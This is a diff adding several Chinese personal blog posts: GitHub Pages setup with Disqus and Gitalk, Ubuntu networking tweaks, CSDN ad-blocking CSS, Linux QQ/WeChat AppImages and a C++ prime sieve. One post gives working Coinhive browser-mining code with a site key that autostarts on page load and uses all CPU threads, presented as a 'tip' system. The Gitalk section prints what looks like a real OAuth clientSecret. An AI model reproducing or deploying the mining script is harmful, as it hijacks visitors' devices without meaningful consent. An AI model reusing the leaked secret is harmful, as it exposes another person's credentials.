/* * * DON'T EDIT BELOW THIS LINE * * */
|
||||||
|
(function() {
|
||||||
|
var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
|
||||||
|
dsq.src = 'http://' + disqus_shortname + '.disqus.com/embed.js';
|
||||||
|
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
|
||||||
|
})();
|
||||||
|
</script>
|
||||||
|
<noscript>Please enable JavaScript to view the <a href="http://disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript>
|
||||||
|
<a href="http://disqus.com" class="dsq-brlink">blog comments powered by <span class="logo-disqus">Disqus</span></a>
|
||||||
|
```
|
||||||
|
|
||||||
|
## 异步加载处理
|
||||||
|
|
||||||
|
为提高性能,需要进行异步加载处理,提高性能。比如在最开始页面打开的时候不显示评论,当你想看评论的时候,点击“显示评论”再加载Disqus的模块。
|
||||||
|
|
||||||
|
```
|
||||||
|
$('#disqus_container .comment').on('click',function(){
|
||||||
|
$(this).html('加载中...');
|
||||||
|
var disqus_shortname = 'beiyuu';
|
||||||
|
var that = this;
|
||||||
|
BYB.includeScript('http://' + disqus_shortname + '.disqus.com/embed.js',function(){$(that).remove()}); //这是一个加载js的函数
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
# 7.使用Gitalk添加评论功能
|
||||||
|
1. 注册 `GitHub Application`,`Authorization callback URL` 填写当前使用插件页面的域名,比喻我的`https//ds19991999.github.io/`,注意注意记住最后的clientID 和 clientSecret,owner 是自己的用户名.1. 创建 comments.html(以about页面为例)
|
||||||
|
```
|
||||||
|
{% if page.comments != false %}
|
||||||
|
|
||||||
|
{% if site.comments_provider == 'gitalk' %}
|
||||||
|
<div id="gitalk-container"></div>
|
||||||
|
<script src="/assets/js/gitalk.min.js"></script>
|
||||||
|
<script>
|
||||||
|
var gitalk = new Gitalk({
|
||||||
|
id: '{{ page.url }}',
|
||||||
|
clientID: '{{ site.gitalk.clientID }}',
|
||||||
|
clientSecret: '{{ site.gitalk.clientSecret }}',
|
||||||
|
repo: '{{ site.gitalk.repo }}',
|
||||||
|
owner: '{{ site.gitalk.owner }}',
|
||||||
|
admin: ['{{ site.gitalk.owner }}'],
|
||||||
|
labels: ['gitment'],
|
||||||
|
perPage: 50,
|
||||||
|
})
|
||||||
|
gitalk.render('gitalk-container')
|
||||||
|
</script>
|
||||||
|
{% endif %}
|
||||||
|
{% endif %}
|
||||||
|
```
|
||||||
|
1. 在 GitHub 上创建仓库 blog-comments,添加如下代码到 _config.yml <br/> clientID 和 clientSecret 是第一步注册的时候得到的,owner 是自己的用户名.
|
||||||
|
```
|
||||||
|
comments_provider: gitalk
|
||||||
|
gitalk:
|
||||||
|
owner: jueye3
|
||||||
|
repo: blog-comments
|
||||||
|
clientID: fa5504fe07f319cba9ee
|
||||||
|
clientSecret: 30532bea61e8b63dc5a852e448621a8c89cef99b
|
||||||
|
```
|
||||||
|
1. 下载 gitalk.min.js 和 gitalk.css <br/> 下载 gitalk.min.js(放到 assets/js 文件夹下)和 gitalk.css(放到assets/css 文件夹下), push 后访问.1. 使用 GitHub 账号登陆初始化,就可以使用评论功能了.
|
||||||
|
# 8.添加代码高亮插件
|
||||||
|
|
||||||
|
两个可选插件[DlHightLight代码高亮组件](http://mihai.bazon.net/projects/javascript-syntax-highlighting-engine)和[Google Code Prettify](https://code.google.com/archive/p/google-code-prettify/)。DLHightLight支持的语言相对较少一些,有js、css、xml和html,Google的高亮插件基本上任何语言都支持,也可以自定义语言,也支持自动识别,也有行号的特别支持。
|
||||||
|
|
||||||
|
Google的高亮插件使用也比较方便,只需要在\
|
||||||
|
|
||||||
|
# 9.增加统计插件
|
||||||
|
1. 在百度统计上注册账号并登陆,然后新增网站 <br/> <img alt="image" src="http://images.gitbook.cn/a5501280-5bfa-11e8-9a68-fdee5b6ce888" title=""/> <br/> <img alt="image" src="http://images.gitbook.cn/d3a97590-5bfa-11e8-b9ab-abcfff93657e" title=""/>1. 在 _includes 下创建 baidu-anaylysis.html,内容是百度统计生成的代码,如下图: <br/> <img alt="image" src="http://images.gitbook.cn/d93486d0-5bfa-11e8-b5c3-3fe2bc231f99" title=""/>1. 在 head.html 文件中添加 {% include baidu-anaylysis.html %},Push后可以检查是否成功 <br/> <img alt="image" src="http://images.gitbook.cn/fbd322f0-5bfa-11e8-9a68-fdee5b6ce888" title=""/>1. 代码正确安装,可以查看报告了 <br/> <img alt="image" src="http://images.gitbook.cn/00bfaa40-5bfb-11e8-b5c3-3fe2bc231f99" title=""/>
|
||||||
|
# 10.绑定域名
|
||||||
|
|
||||||
|
## 在github库中
|
||||||
|
|
||||||
|
新建一个 `CNAME` 文件(无后缀名),用文本编辑器打开,在首行添加你的网站域名,如 [http://xxxx.com](http://xxxx.com),注意前面没 [http://example.com](http://example.com) 或者 xxx.example.com。
|
||||||
|
|
||||||
|
## 在域名解析提供商
|
||||||
|
|
||||||
|
以百度云为例: <br/> - 先添加一个 CNAME,主机记录写 @,后面记录值写上你的 [http://xxxx.github.io](http://xxxx.github.io) <br/> - 再添加一个 CNAME,主机记录写 www,后面记录值也是 [http://xxxx.github.io](http://xxxx.github.io) <br/> - 这样别人用 www 和不用 www 都能访问你的网站(其实 www 的方式,会先解析成 [http://xxxx.github.io](http://xxxx.github.io),然后根据 CNAME 再变成[http://xxx.com](http://xxx.com),中间是经过一次转换的)。
|
||||||
|
|
||||||
|
# 11.参考资料
|
||||||
|
|
||||||
|
[https://github.com/ds19991999/ds19991999.github.com/blob/master/README.md](https://github.com/ds19991999/ds19991999.github.com/blob/master/README.md) <br/> [http://gitbook.cn/m/mazi/article/5af260fd6f98784056d381ce](http://gitbook.cn/m/mazi/article/5af260fd6f98784056d381ce) <br/> [http://beiyuu.com/github-pages](http://beiyuu.com/github-pages) <br/> [https://chrisniael.gitbooks.io/gitbook-documentation/content/index.html](https://chrisniael.gitbooks.io/gitbook-documentation/content/index.html)
|
||||||
|
|
||||||
|
# License
|
||||||
|
|
||||||
|
GNU General Public License v3.0
|
|
@ -0,0 +1,91 @@
|
||||||
|
# 原创
|
||||||
|
: 在网站嵌入挖矿JS代码样式
|
||||||
|
|
||||||
|
# 在网站嵌入挖矿JS代码样式
|
||||||
|
|
||||||
|
>
|
||||||
|
网站挖矿很不道德,纯学习娱乐,请勿用于非法途径.
|
||||||
|
|
||||||
|
|
||||||
|
Coinhive: [https://coinhive.com](https://coinhive.com) , 可以去网站看看,不过好像已经被墙了,其JS代码被Windows防火墙视为病毒,不知道还能不能用。。。
|
||||||
|
|
||||||
|
去官网注册一个账号,得几个key,去https://mymonero.com/ 注册账号,建立自己的钱包,这两个网站都需要操作,具体教程网上有。本文只提供网页样式。
|
||||||
|
|
||||||
|
## 官网样式
|
||||||
|
|
||||||
|
```
|
||||||
|
<div>
|
||||||
|
<script src="https://authedmine.com/lib/simple-ui.min.js" async></script>
|
||||||
|
<div class="coinhive-miner"
|
||||||
|
style="width: 100%; height: 100px"
|
||||||
|
data-key="YjyptNPkNzUZwQonjCLhkllZAW85Axyo"
|
||||||
|
data-autostart="true"
|
||||||
|
data-whitelabel="false"
|
||||||
|
data-background="#000000"
|
||||||
|
data-text="#eeeeee"
|
||||||
|
data-action="#00ff00"
|
||||||
|
data-graph="#555555"
|
||||||
|
data-threads="7"
|
||||||
|
data-throttle="0.1">
|
||||||
|
<em>Loading...</em>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 我以前用的样式
|
||||||
|
|
||||||
|
大概这个样子
|
||||||
|
|
||||||
|
### ⬇⬇~ 挖 矿 打 赏 系 统 ~⬇⬇
|
||||||
|
<td align="center">启动线程数</td><td align="center">当前算力(Hashs/秒)</td><td align="center">您已贡献(Hash单位:个)</td>
|
||||||
|
<td align="center">0</td><td align="center">0</td><td align="center">0</td>
|
||||||
|
<td align="center" colspan="3;">您正在打赏中,随时可以停止。</td>
|
||||||
|
|
||||||
|
```
|
||||||
|
<div>
|
||||||
|
<h3 align="center">⬇⬇~ 挖 矿 打 赏 系 统 ~⬇⬇</h3>
|
||||||
|
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
|
||||||
|
<center>
|
||||||
|
<table >
|
||||||
|
<tbody>
|
||||||
|
<tr>
|
||||||
|
<td align="center">启动线程数</td>
|
||||||
|
<td align="center">当前算力(Hashs/秒)</td>
|
||||||
|
<td align="center">您已贡献(Hash单位:个)</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td id="tcount" align="center">0</td>
|
||||||
|
<td id="hps" align="center">0</td>
|
||||||
|
<td id="ths" align="center">0</td></tr>
|
||||||
|
<tr><td colspan="3;" id="status" align="center">您正在打赏中,随时可以停止。</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</center>
|
||||||
|
|
||||||
|
<div><p id="minebutton" style="text-align:center;">
|
||||||
|
<button onclick="miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)">停止挖矿打赏</button>
|
||||||
|
</p></div>
|
||||||
|
|
||||||
|
<script type="text/javascript">
|
||||||
|
var miner=new CoinHive.User
|
||||||
|
("YjyptNPkNzUZwQonjCLhkllZAW85Axyo",
|
||||||
|
"www.ds-vip.top",
|
||||||
|
{threads:navigator.hardwareConcurrency,autoThreads:!1,throttle:.9,forceASMJS:!1});
|
||||||
|
|
||||||
|
miner.start(CoinHive.FORCE_EXCLUSIVE_TAB),
|
||||||
|
setInterval(function(){var e=miner.getNumThreads(),
|
||||||
|
n=Math.round(100*miner.getHashesPerSecond())/100,
|
||||||
|
t=miner.getTotalHashes();miner.getAcceptedHashes()/256;
|
||||||
|
|
||||||
|
miner.isRunning()?(document.getElementById("tcount").innerHTML=e,document.getElementById("hps").innerHTML=n,
|
||||||
|
document.getElementById("ths").innerHTML=t,document.getElementById("status").innerHTML="您正在打赏中,随时可以停止。",
|
||||||
|
document.getElementById("minebutton").innerHTML='<button onclick="miner.stop()">停止挖矿打赏</button>'):(document.getElementById("tcount").innerHTML="0",document.getElementById("hps").innerHTML="0",document.getElementById("ths").innerHTML=t,document.getElementById("status").innerHTML="您已经停止打赏,随时可以开始。",document.getElementById("minebutton").innerHTML='<button onclick="miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)">开始挖矿打赏</button>')},1e3)
|
||||||
|
</script>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### ⬇⬇~ 挖 矿 打 赏 系 统 ~⬇⬇
|
||||||
|
|
||||||
|
记得改key。。。
|
|
@ -0,0 +1,267 @@
|
||||||
|
# 原创
|
||||||
|
: 彻底解决Ubuntu联网问题——网速飞起
|
||||||
|
|
||||||
|
# 彻底解决Ubuntu联网问题——网速飞起
|
||||||
|
|
||||||
|
### 文章目录
|
||||||
|
|
||||||
|
## 1、`mentohust`锐捷认证客户端
|
||||||
|
|
||||||
|
下载地址:[http://c7.gg/aCFu4](http://c7.gg/aCFu4)
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install mentohust
|
||||||
|
sudo mentohust -k
|
||||||
|
sudo mentohust -uusername -p123456 -a1 -d2 -b2 -v4.10 -w
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2、修改`hosts`并启用`ipv6`
|
||||||
|
|
||||||
|
>
|
||||||
|
本文在`Ubuntu 16.04`测试通过,可以访问`Google、Facebok、Twitter、维基百科`等外网,其他平台`hosts`文件详见: [https://github.com/googlehosts/hosts](https://github.com/googlehosts/hosts/wiki/%E5%90%84%E5%B9%B3%E5%8F%B0-hosts-%E6%96%87%E4%BB%B6%E4%BD%8D%E7%BD%AE)
|
||||||
|
|
||||||
|
|
||||||
|
### 2.1 使用`ipv6`的`host`
|
||||||
|
1. 启动`ipv6`
|
||||||
|
```
|
||||||
|
sudo apt-get install miredo
|
||||||
|
sudo gedit /etc/default/ufw
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
将`IPV6=no`改为`IPV6=yes`
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo gedit /etc/sysctl.d/10-ipv6-privacy.conf
|
||||||
|
# 将这两行改为0
|
||||||
|
net.ipv6.conf.all.use_tempaddr = 2
|
||||||
|
net.ipv6.conf.default.use_tempaddr = 2
|
||||||
|
|
||||||
|
```
|
||||||
|
1. 测试`ipv6`
|
||||||
|
```
|
||||||
|
ping6 ipv6.baidu.com
|
||||||
|
|
||||||
|
```
|
||||||
|
1. **校园网**是动态分配的`ipv6`地址,需要改成静态的。
|
||||||
|
```
|
||||||
|
sudo geidt /etc/sysctl.d/10-ipv6-privacy.conf
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
将`net.ipv6.conf.default.use_tempaddr`改为`0`
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo sysctl --system
|
||||||
|
|
||||||
|
```
|
||||||
|
1. 修改`hosts`: [IPV6 hosts](https://github.com/lennylxx/ipv6-hosts)
|
||||||
|
```
|
||||||
|
sudo su
|
||||||
|
curl https://github.com/lennylxx/ipv6-hosts/raw/master/hosts -L >> /etc/hosts
|
||||||
|
|
||||||
|
```
|
||||||
|
1. 刷新配置
|
||||||
|
```
|
||||||
|
sudo sysctl --system
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.2 `hosts`地址
|
||||||
|
|
||||||
|
## 3、修改下载源
|
||||||
|
|
||||||
|
### 3.1 `apt-get`下载源
|
||||||
|
1. 首先测试适合系统最快的源:<br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20181104131030.png"/><br/> 这样它会自动匹配最佳的源,而不是网上大家所说的某某源快就选哪个,适合自己的源就是最快的源。 1. `Google搜索`该源地址并修改源
|
||||||
|
```
|
||||||
|
sudo gedit /etc/apt/sources.list
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.2 更换`pip`源
|
||||||
|
|
||||||
|
`pip`国内的一些镜像,换源之后出现python2版本过低的情况导致以前的包下载不了,那就直接将文件夹删除,就能恢复原来的源。
|
||||||
|
|
||||||
|
**`linux`更换`pip`源**:
|
||||||
|
|
||||||
|
```
|
||||||
|
cat > ~/.pip/pip.conf
|
||||||
|
[global]
|
||||||
|
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**`windows`更换`pip`源**:
|
||||||
|
|
||||||
|
>
|
||||||
|
直接在user目录中创建一个pip目录,如:C:\Users\xx\pip,新建文件pip.ini,内容如下
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
[global]
|
||||||
|
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.3 更换`GitHub`源
|
||||||
|
|
||||||
|
>
|
||||||
|
其实改`hosts`的时候已经自动改好了,你可以进去查看一下,如果没有就通过下面这种方式加上去.
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo gedit /etc/hosts
|
||||||
|
219.76.4.4 github-cloud.s3.amazonaws.com
|
||||||
|
151.101.72.249 http://global-ssl.fastly.Net
|
||||||
|
192.30.253.112 http://github.com
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.4 更换`npm`源
|
||||||
|
|
||||||
|
```
|
||||||
|
npm --registry https://registry.npm.taobao.org install express
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
npm install -g cnpm --registry=https://registry.npm.taobao.org
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
npm config get registry
|
||||||
|
or
|
||||||
|
npm info express
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.5 更换`yarn`源
|
||||||
|
|
||||||
|
>
|
||||||
|
安装源和原来 npm 是一样的,可以通用
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
yarn config set registry 'https://registry.npm.taobao.org'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
验证:
|
||||||
|
|
||||||
|
```
|
||||||
|
yarn config get registry
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 4、与云服务器传输文件
|
||||||
|
|
||||||
|
为了避免每次传输文件的时候都要输入公网ip和密码挺麻烦的,所以索性就直接在服务器端配置本地`ssh`传输公匙,一劳永逸。
|
||||||
|
|
||||||
|
### 4.1 配置密匙验证
|
||||||
|
|
||||||
|
```
|
||||||
|
ssh-keygen -t rsa -C "your_email@example.com"
|
||||||
|
|
||||||
|
```
|
||||||
|
1. 在服务器端用户目录创建文件`~/.ssh/authorized_keys`,把本地`id_rsa.pub`公匙添加到这个文件中就可以了。1. 在本地用户目录创建文件`~/.ssh/config`,添加如下信息:
|
||||||
|
```
|
||||||
|
host servername
|
||||||
|
user username
|
||||||
|
hostname pubic-ip
|
||||||
|
port 22
|
||||||
|
identityfile ~/.ssh/id_rsa
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
其中`servername`随便填,与下文中的传输文件对应就行,`hostname`是公网`ip`。`user`填服务器端用户名,该用户需要有对系统文件的读写能力,直接用`root` 就好啦。
|
||||||
|
|
||||||
|
### 4.2 传输单个文件
|
||||||
|
|
||||||
|
1、从服务器上下载文件
|
||||||
|
|
||||||
|
```
|
||||||
|
scp servername:/path/filename /local_dir_path
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
2、上传本地文件到服务器
|
||||||
|
|
||||||
|
```
|
||||||
|
scp /path/filename servername:/path
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4.3 传输文件夹
|
||||||
|
|
||||||
|
1、从服务器下载整个目录
|
||||||
|
|
||||||
|
```
|
||||||
|
scp -r servername:/remote_dir /local_dir
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
2、上传目录到服务器
|
||||||
|
|
||||||
|
```
|
||||||
|
scp -r /local_dir servername:/remote_dir
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 5、修改`DNS`
|
||||||
|
|
||||||
|
修改`DNS`是为了进一步提高浏览器查询`ip`地址的速度,提高网络流畅度。
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo gedit /etc/network/interfaces
|
||||||
|
# 加上
|
||||||
|
dns-nameservers 8.8.8.8
|
||||||
|
dns-nameservers 240c::6666
|
||||||
|
sudo gedit /etc/resolv.conf
|
||||||
|
# 加上
|
||||||
|
nameserver 8.8.8.8
|
||||||
|
nameserver 240c::6666
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo /etc/init.d/resolvconf restart
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
此时重启`DNS`服务发现又没有了,解决办法是:在`/etc/resolvconf/resolv.conf.d/`目录下创建`tail`文件,写入
|
||||||
|
|
||||||
|
```
|
||||||
|
nameserver 8.8.8.8
|
||||||
|
nameserver 240c::6666
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
这样再执行`sudo /etc/init.d/resolvconf restart`就`OK`了.
|
||||||
|
|
||||||
|
## 6、`SSR`服务器搭建并配置`ipv6`隧道代理
|
||||||
|
1. 申请`ipv6`的`ip`: [https://www.tunnelbroker.net/register.php](https://www.tunnelbroker.net/register.php)
|
||||||
|
>
|
||||||
|
注意几个`ip`的区别
|
||||||
|
|
||||||
|
1. 按照网上教程一键脚本配置搞定.
|
||||||
|
## 7、搭建`aria2`服务器
|
||||||
|
|
||||||
|
>
|
||||||
|
我的服务器地址,[https://download.creat.kim](https://download.creat.kim) , 你们可以上去看看,就是按照作者的教程搭的,我搭建的没有提供公共下载服务。
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
nohup aria2c --enable-rpc --rpc-listen-all=true --rpc-allow-origin-all &
|
||||||
|
python -m SimpleHTTPServer 端口号 &
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 8、`nginx`多端口不同域名配置
|
||||||
|
|
||||||
|
>
|
||||||
|
直接在配置文件加个`server`函数搞定
|
||||||
|
|
||||||
|
|
||||||
|
好啦,`Ubuntu 16.04`网络环境就全部配置好啦,最重要的是可以上外网,下载网速比以前快很多倍。<br/> **Enjoy it!**
|
|
@ -0,0 +1,103 @@
|
||||||
|
# 原创
|
||||||
|
: 教你屏蔽CSDN广告
|
||||||
|
|
||||||
|
# 教你屏蔽CSDN广告
|
||||||
|
|
||||||
|
## 吐槽一下
|
||||||
|
|
||||||
|
CSDN博客的优点就不提了,但是有一点很难忍受,那就是广告,几乎每一个页面都少不了广告。之前我就是因为受不了广告,所以干脆就不玩CSDN了,后来发现这些广告都是可以屏蔽的,只是我这种小白不清楚而已…
|
||||||
|
|
||||||
|
基本上就是安装几个插件就可以让CSDN变得绿色健康,不仅可以屏蔽广告,还能进行页面排版优化,简直不能再方便了。
|
||||||
|
|
||||||
|
废话不多说,开始安装插件。
|
||||||
|
|
||||||
|
## 步骤
|
||||||
|
|
||||||
|
### 1.Stylus插件
|
||||||
|
|
||||||
|
先在Google的扩展程序商店中搜索`Stylus`,第一个就是,有了这个插件,我们才能对网页进行自定义样式和排版修改。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180819214140.jpg" title=""/> <br/> 这个插件真的是一个插件神器,有了它,可以安装各种第三方插件进行各种网页的自定义样式修改,还可以使用自己写的`CSS`样式进行网页优化,十分方便,比喻在`Github`上面安装几个插件,然后页面就变成这个样子了。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180819214543.jpg" title=""/> <br/> 比喻在百度贴吧安装一个插件,然后页面就变成这个样子了,是不是很惊艳。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180819215228.jpg" title=""/> <br/> 这些网页样式插件在 [https://userstyles.org/](https://userstyles.org/) 上面都可以找到,之后直接傻瓜式的点安装就完事了。
|
||||||
|
|
||||||
|
好了,回到我们要解决的问题,屏蔽 `CSDN` 广告。
|
||||||
|
|
||||||
|
### 2.CSDN去广告插件
|
||||||
|
|
||||||
|
在 [https://userstyles.org/styles/browse/csdn](https://userstyles.org/styles/browse/csdn) 中搜索`CSDN去广告插件`,如下图,然后安装就可以了。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180819220008.jpg" title=""/> <br/> 可以看到这插件还是近两天更新的,然后就被我无意中发现了,源码其实就是下面几十行。
|
||||||
|
|
||||||
|
```
|
||||||
|
.aside-box div:first-child{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
.box-box-large{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
.box-box-aways{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
main div:nth-child(5){
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
.csdn-tracking-statistics.mb8.box-shadow{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
.J_adv{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
.post_body div:nth-last-child(2){
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
/*update 2018-08-15*/
|
||||||
|
#_360_interactive{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
.meau-list li:nth-child(7){
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
.text.float-left{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
.recommend-item-box.recommend-ad-box{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
/*update 2018-08-16*/
|
||||||
|
.bbs_detail_wrap div:nth-child(5){
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
.bbs_feed.bbs_feed_ad_box{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
/* 分享请注明作者姓名 create by Demo_Liu */
|
||||||
|
```
|
||||||
|
|
||||||
|
这些东西对于前端的同学来说就太容易了,鼠标右键调试网页源码,找到广告位 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180819221002.jpg" title=""/> <br/> 看这一行:
|
||||||
|
|
||||||
|
```
|
||||||
|
<div class="csdn-tracking-statistics mb8 box-shadow" data-pid="blog" data-mod="popu_4" style="height:250px;">
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
这里就是广告位,那我们就在 `CSS` 中定义它不展示,也就是
|
||||||
|
|
||||||
|
```
|
||||||
|
.csdn-tracking-statistics.mb8.box-shadow{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**通过这种方式我们可以自定义展示网页排版板块,比喻`background` 这个属性可以调节板块背景色和透明度,前面那两张图就是典型例子,有透明度的模块看起来总感觉有点 * 格,所以只要我们有了 [Stylus插件](https://chrome.google.com/webstore/detail/stylus/clngdbkpkpeebahjckkjfobafhncgmne?utm_source=chrome-ntp-icon),就可以在各种网页随心所欲,为所欲为**。
|
||||||
|
|
||||||
|
基本上这个简短的`CSS`就可以屏蔽掉CSDN广告,感谢 [Demo_Liu](https://blog.csdn.net/demo_liu/article/month/2018/08?orderby=UpdateTime) 博主提供的插件。
|
||||||
|
|
||||||
|
### 3.其他优化
|
||||||
|
|
||||||
|
在 [https://userstyles.org/styles/browse/csdn](https://userstyles.org/styles/browse/csdn) 中可以看到其他不少插件,这里我推荐一个`CSDN正文前置` 插件。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180819222711.jpg" title=""/> <br/> 将所有样式统一换成这种左右排版格式。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180819222926.jpg" title=""/> <br/> 源码:
|
||||||
|
|
||||||
|
```
|
||||||
|
main {
|
||||||
|
float: left;
|
||||||
|
}
|
||||||
|
aside {
|
||||||
|
float: right;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
没错就是这几行。。。当然你也可以试试其他样式,自己写一个自己喜欢的网页样式也不是很难,不过我还是太懒了,不想折腾这些东西,有别人造轮子就直接用了。。。
|
|
@ -0,0 +1,30 @@
|
||||||
|
# 原创
|
||||||
|
: 最新Linux下QQ和微信的使用(很方便)
|
||||||
|
|
||||||
|
# 最新Linux下QQ和微信的使用(很方便)
|
||||||
|
|
||||||
|
# Linux下QQ和微信的使用(很方便)
|
||||||
|
|
||||||
|
先安利一波,不少大佬将app做成了AppImage的格式,这可以说是Linux入门级用户的福音,不少app可以直接在linux上面运行,直接下载AppImage文件,无需配置。当然,qq和微信一直以来都是大家关注的焦点,所以这里为就分享一波在Linux系统上面qq和微信最简单的使用方法。
|
||||||
|
|
||||||
|
### 1. 第一步获取AppImage文件
|
||||||
|
|
||||||
|
官网地址:[https://appimage.github.io/apps/](https://appimage.github.io/apps/) ,这个网站都是为Linux用户提供的AppImage文件,方便用户在Linux系统上体验一些常用的app。
|
||||||
|
|
||||||
|
微信就用官网的:[electron-wechat ](https://appimage.github.io/electron-wechat/),当然这个:[https://github.com/geeeeeeeeek/electronic-wechat](https://github.com/geeeeeeeeek/electronic-wechat) 也是非常优秀的,提供deb包,安装也很方便。
|
||||||
|
|
||||||
|
而qq这个项目做的比较好:[https://github.com/askme765cs/Wine-QQ-TIM](https://github.com/askme765cs/Wine-QQ-TIM)
|
||||||
|
|
||||||
|
好了,得到appimage文件就美滋滋了。
|
||||||
|
|
||||||
|
### 2. 更改appimage包权限
|
||||||
|
|
||||||
|
```
|
||||||
|
chmod a+x QQ-20171129-x86_64.AppImage
|
||||||
|
chmod a+x electron-wechat-0.1.1-x86_64.AppImage
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
权限改完了就直接享受Linux版的微信和qq了,运行`./QQ-20171129-x86_64.AppImage`,或者直接点击运行。是不是很方便!
|
||||||
|
|
||||||
|
### 3. 上图
|
|
@ -0,0 +1,51 @@
|
||||||
|
# 原创
|
||||||
|
: 用C++求100以内的素数
|
||||||
|
|
||||||
|
# 用C++求100以内的素数
|
||||||
|
|
||||||
|
```
|
||||||
|
#include<iostream>
|
||||||
|
#include<math.h>
|
||||||
|
|
||||||
|
using namespace std;
|
||||||
|
const int N = 300;
|
||||||
|
bool prime[N]; //布尔数组变量0、1
|
||||||
|
void primeNum(int a);
|
||||||
|
void printPrimeNum();
|
||||||
|
|
||||||
|
//主函数
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
primeNum(N);
|
||||||
|
printPrimeNum();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//得到N以内的素数
|
||||||
|
void primeNum(int a)
|
||||||
|
{
|
||||||
|
int i,j,n=0;
|
||||||
|
for (i = 2; i<a; i++) //第一轮筛选去掉2的倍数
|
||||||
|
{
|
||||||
|
if (i % 2) prime[i] = true;
|
||||||
|
else prime[i] = false;
|
||||||
|
}
|
||||||
|
for (i = 3; i <= sqrt((double)a); i++) //double(N)是将N强制转换为双精度整型,求平方根i=3,5,7,9
|
||||||
|
{
|
||||||
|
if (prime[i])
|
||||||
|
for (j = 2*i; j<N; j += i)prime[j] = false; //第二轮筛选相当于j=ni,去掉3,5,7...的倍数
|
||||||
|
} //经过两轮筛选相当于去掉了2,3,5,7...的倍数
|
||||||
|
}
|
||||||
|
|
||||||
|
//打印N以内的素数
|
||||||
|
void printPrimeNum()
|
||||||
|
{
|
||||||
|
int i, n = 0, primeList[N];
|
||||||
|
for (i = 2; i < N; i++)
|
||||||
|
if ((i == 2) || (prime[i]))primeList[n] = i, n++;
|
||||||
|
cout <<N << "以内的素数个数为:" << n << endl<< "它们分别是:"<<endl;
|
||||||
|
for (i = 0; i < n; i++)cout <<primeList[i] << " ";
|
||||||
|
}
|
||||||
|
```
|
||||||
|
